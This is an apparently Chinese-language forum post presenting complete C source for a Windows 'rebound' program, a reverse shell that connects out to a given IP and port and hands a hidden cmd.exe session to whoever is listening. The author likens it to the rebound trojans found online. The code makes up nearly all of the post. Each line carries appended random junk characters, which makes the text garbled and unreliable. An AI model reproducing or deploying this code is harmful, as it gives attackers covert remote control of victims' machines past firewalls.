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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D)){"Q!b  
U{|WN7Q:A  
/* ============================== J<27w3bs~p  
Rebound port in Windows NT k]] e8>  
By wind,2006/7 ]zUvs6ksLG  
===============================*/ xu(N'l.7&  
#include {~a+dEz  
#include }MCJ$=5  
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#pragma comment(lib,"wsock32.lib") Kq4b`cn{_  
#z&@f  
void OutputShell(); s:f%=4-7  
SOCKET sClient; 'rSP@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /^^wHW:  
Jo Ih2PD  
void main(int argc,char **argv) N2/t  
{ S{7 R6,B5  
WSADATA stWsaData; 2|:xb9#  
int nRet; uX8yS|= *  
SOCKADDR_IN stSaiClient,stSaiServer; KXvBJA$  
p6|RV(?8  
if(argc != 3) s$PPJJT{b  
{ Yj#4{2A  
printf("Useage:\n\rRebound DestIP DestPort\n"); *r|)@K|  
return; J%SuiT$L&Y  
} i?D KKjN$  
]^c]*O[8  
WSAStartup(MAKEWORD(2,2),&stWsaData); +u|p<z  
=lG/A[66  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,'z=cB`+o  
FdFN4{<QZ  
stSaiClient.sin_family = AF_INET; #s]'2O  
stSaiClient.sin_port = htons(0); 4b<>gpQ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %9Y3jB",2  
ZCuLgCP?Z  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {-Q=YDR  
{ qOi"3_  
printf("Bind Socket Failed!\n"); ux=0N]lc  
return; #V#sg}IhM?  
} v>oWk:iJP  
3,[#%}1(S  
stSaiServer.sin_family = AF_INET; 7f,!xh$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j]5mzz~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "GY/2;  
dub %fs  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /hksESiU  
{ =}^J6+TVL  
printf("Connect Error!"); zEN3N n.8  
return; 1SO!a R#g  
} q[Ed6FM$~  
OutputShell(); G Rq0nhJ  
} 2ms@CQy(00  
M# a1ev  
void OutputShell() \I[50eh|  
{ e_Un:r@)  
char szBuff[1024]; n)xLEx,  
SECURITY_ATTRIBUTES stSecurityAttributes; T**v!Ls  
OSVERSIONINFO stOsversionInfo; 6(as.U>K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z [9f  
STARTUPINFO stStartupInfo; #BLmT-cl  
char *szShell; { M&Vh]  
PROCESS_INFORMATION stProcessInformation; ~P;KO40K  
unsigned long lBytesRead; ,UE>@;]  
SG@-b(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ).D+/D/"2  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [ :*Jn}  
stSecurityAttributes.lpSecurityDescriptor = 0; b`yb{& ,?  
stSecurityAttributes.bInheritHandle = TRUE; bDq[j8IT6  
U\~9YX8  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o{r<=X ysM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \!Cc[n(f#  
jS<(O o  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); U?.cbB,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; noL&>G  
stStartupInfo.wShowWindow = SW_HIDE; f:hsE  
stStartupInfo.hStdInput = hReadPipe; T_3JAH e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ww)p&don  
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GetVersionEx(&stOsversionInfo); (Xv' Te?  
mMSQW6~j  
switch(stOsversionInfo.dwPlatformId) bpp{Z1/4  
{ r=74 'g  
case 1: (RBzpAiH  
szShell = "command.com"; 0tb%h[%,M  
break; /|MHZ$Y9w?  
default: ]qpLaBD  
szShell = "cmd.exe"; pEp`Z,p  
break; 2uZ4$_  
} rU!QXg]uD  
vmsrypm  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wY'w'%A?  
(2uF<$7(  
send(sClient,szMsg,77,0); aP&bW))CI  
while(1) ($or@lfs  
{ Q /zlU@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ms%RNxU4:  
if(lBytesRead) /?*GJN#  
{ 2&o jQhe  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 50jZu'z:  
send(sClient,szBuff,lBytesRead,0); :}*   
}  Qo$j'|lD  
else *'to#_n&W  
{ =8V 9E  
lBytesRead=recv(sClient,szBuff,1024,0); dtx3;d<NsJ  
if(lBytesRead<=0) break; [L ?^+p>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !fmbm4!a  
} h ]6: `5-  
} %iR"eEE  
gzd<D}2F~  
return; )eD9H*mq  
}
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